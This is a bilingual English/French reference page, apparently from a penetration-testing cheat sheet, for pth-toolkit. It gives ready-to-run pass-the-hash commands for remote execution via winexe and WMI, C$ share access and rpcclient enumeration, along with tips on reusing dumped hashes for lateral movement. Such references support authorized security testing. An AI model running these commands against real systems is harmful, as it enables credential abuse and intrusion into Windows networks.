pth-toolkit

Suite de clients Samba patchés (pth-winexe, pth-wmis, pth-smbclient, etc.) qui s'authentifie auprès d'hôtes Windows/SMB en utilisant un hash NTLM au lieu d'un mot de passe en clair. Patched Samba client suite (pth-winexe, pth-wmis, pth-smbclient, etc.) that authenticates to Windows/SMB hosts using an NTLM hash instead of a plaintext password.

↗ https://github.com/byt3bl33d3r/pth-toolkit

Overview

pth-toolkit is a collection of Samba client utilities patched to support pass-the-hash authentication — authenticating with a captured NTLM hash directly, without ever needing to crack it to plaintext. It bundles hash-aware versions of familiar Windows admin tools (winexe, wmic, smbclient, rpcclient) so a compromised NTLM hash can be leveraged for remote command execution, WMI queries, and file share access across a Windows/AD environment.

Common Usage

Remote command execution via pth-winexe using a captured NTLM hash

pth-winexe -U 'DOMAIN/administrator%aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0' //<target> cmd.exe

WMI-based command execution

pth-wmis -U 'DOMAIN/administrator%<LMHASH>:<NTHASH>' //<target> "cmd.exe /c whoami"

Browse/list SMB shares using a hash instead of a password

pth-smbclient -U 'DOMAIN/administrator%<LMHASH>:<NTHASH>' -L //<target>

Interactive share access

pth-smbclient '//<target>/C$' -U 'DOMAIN/administrator%<LMHASH>:<NTHASH>'

rpcclient for enumeration (users, SIDs, shares) over the hash

pth-rpcclient -U 'DOMAIN/administrator%<LMHASH>:<NTHASH>' //<target>

Notes on Hash Format

Full LM:NT hash pair, LM often blank (all zeros) on modern Windows

'DOMAIN/user%aad3b435b51404eeaad3b435b51404ee:<32-char-NT-hash>'

NT hash only also works with most pth- tools

'DOMAIN/user%<32-char-NT-hash>'

Tips

  • Requires only the NTLM hash (LM:NT format) — no plaintext password recovery needed, making it invaluable once hashes are dumped via Mimikatz, secretsdump.py, or similar.
  • Modern engagements often reach for impacket’s psexec.py/wmiexec.py with -hashes instead, but pth-toolkit remains a lightweight drop-in for the classic Samba-based workflow.
  • Works against local admin accounts as well as domain accounts — a single reused local admin hash across a fleet is a classic lateral-movement pivot (“Pass-the-Hash spray”).
Help / Man page
pth-winexe [options] //HOST COMMAND

  -U USERNAME[%PASSWORD/HASH]  authenticate with password or LM:NT hash
  --system                     run command as SYSTEM
  --interactive=0|1            interactive session (default 1)
  --uninstall                  remove service after execution
  --reinstall                  reinstall service before execution

pth-smbclient //HOST/SHARE [options]

  -U USERNAME[%PASSWORD/HASH]  authenticate with password or LM:NT hash
  -L HOST                      list shares on HOST
  -c COMMAND                   execute a single smbclient command

pth-wmis [options] //HOST "COMMAND"

  -U USERNAME[%PASSWORD/HASH]  authenticate with password or LM:NT hash
  --namespace=NAMESPACE        WMI namespace (default: root\\cimv2)

Vue d’ensemble

pth-toolkit est une collection d’utilitaires clients Samba patchés pour supporter l’authentification pass-the-hash : s’authentifier avec un hash NTLM capturé directement, sans jamais avoir besoin de le casser en clair. Il regroupe des versions compatibles hash d’outils d’administration Windows familiers (winexe, wmic, smbclient, rpcclient) afin qu’un hash NTLM compromis puisse être exploité pour l’exécution de commandes à distance, les requêtes WMI, et l’accès aux partages de fichiers à travers un environnement Windows/AD.

Utilisation courante

# Exécution de commande à distance via pth-winexe en utilisant un hash NTLM capturé
pth-winexe -U 'DOMAIN/administrator%aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0' //<target> cmd.exe

# Exécution de commande via WMI
pth-wmis -U 'DOMAIN/administrator%<LMHASH>:<NTHASH>' //<target> "cmd.exe /c whoami"

# Parcourir/lister les partages SMB en utilisant un hash au lieu d'un mot de passe
pth-smbclient -U 'DOMAIN/administrator%<LMHASH>:<NTHASH>' -L //<target>

# Accès interactif aux partages
pth-smbclient '//<target>/C$' -U 'DOMAIN/administrator%<LMHASH>:<NTHASH>'

# rpcclient pour l'énumération (utilisateurs, SID, partages) via le hash
pth-rpcclient -U 'DOMAIN/administrator%<LMHASH>:<NTHASH>' //<target>

Notes sur le format des hashs

# Paire complète LM:NT, LM souvent vide (tout à zéro) sur Windows moderne
'DOMAIN/user%aad3b435b51404eeaad3b435b51404ee:<32-char-NT-hash>'

# Le hash NT seul fonctionne aussi avec la plupart des outils pth-
'DOMAIN/user%<32-char-NT-hash>'

Conseils

  • Nécessite uniquement le hash NTLM (format LM:NT) : aucune récupération de mot de passe en clair nécessaire, ce qui le rend précieux une fois des hashs dumpés via Mimikatz, secretsdump.py, ou similaire.
  • Les engagements modernes utilisent souvent psexec.py/wmiexec.py d’impacket avec -hashes à la place, mais pth-toolkit reste une alternative légère pour le workflow classique basé sur Samba.
  • Fonctionne aussi bien contre des comptes admin locaux que des comptes de domaine : un hash admin local réutilisé sur toute une flotte est un pivot de mouvement latéral classique (« Pass-the-Hash spray »).
Aide / Page de manuel
pth-winexe [options] //HOST COMMAND

  -U USERNAME[%PASSWORD/HASH]  authenticate with password or LM:NT hash
  --system                     run command as SYSTEM
  --interactive=0|1            interactive session (default 1)
  --uninstall                  remove service after execution
  --reinstall                  reinstall service before execution

pth-smbclient //HOST/SHARE [options]

  -U USERNAME[%PASSWORD/HASH]  authenticate with password or LM:NT hash
  -L HOST                      list shares on HOST
  -c COMMAND                   execute a single smbclient command

pth-wmis [options] //HOST "COMMAND"

  -U USERNAME[%PASSWORD/HASH]  authenticate with password or LM:NT hash
  --namespace=NAMESPACE        WMI namespace (default: root\\cimv2)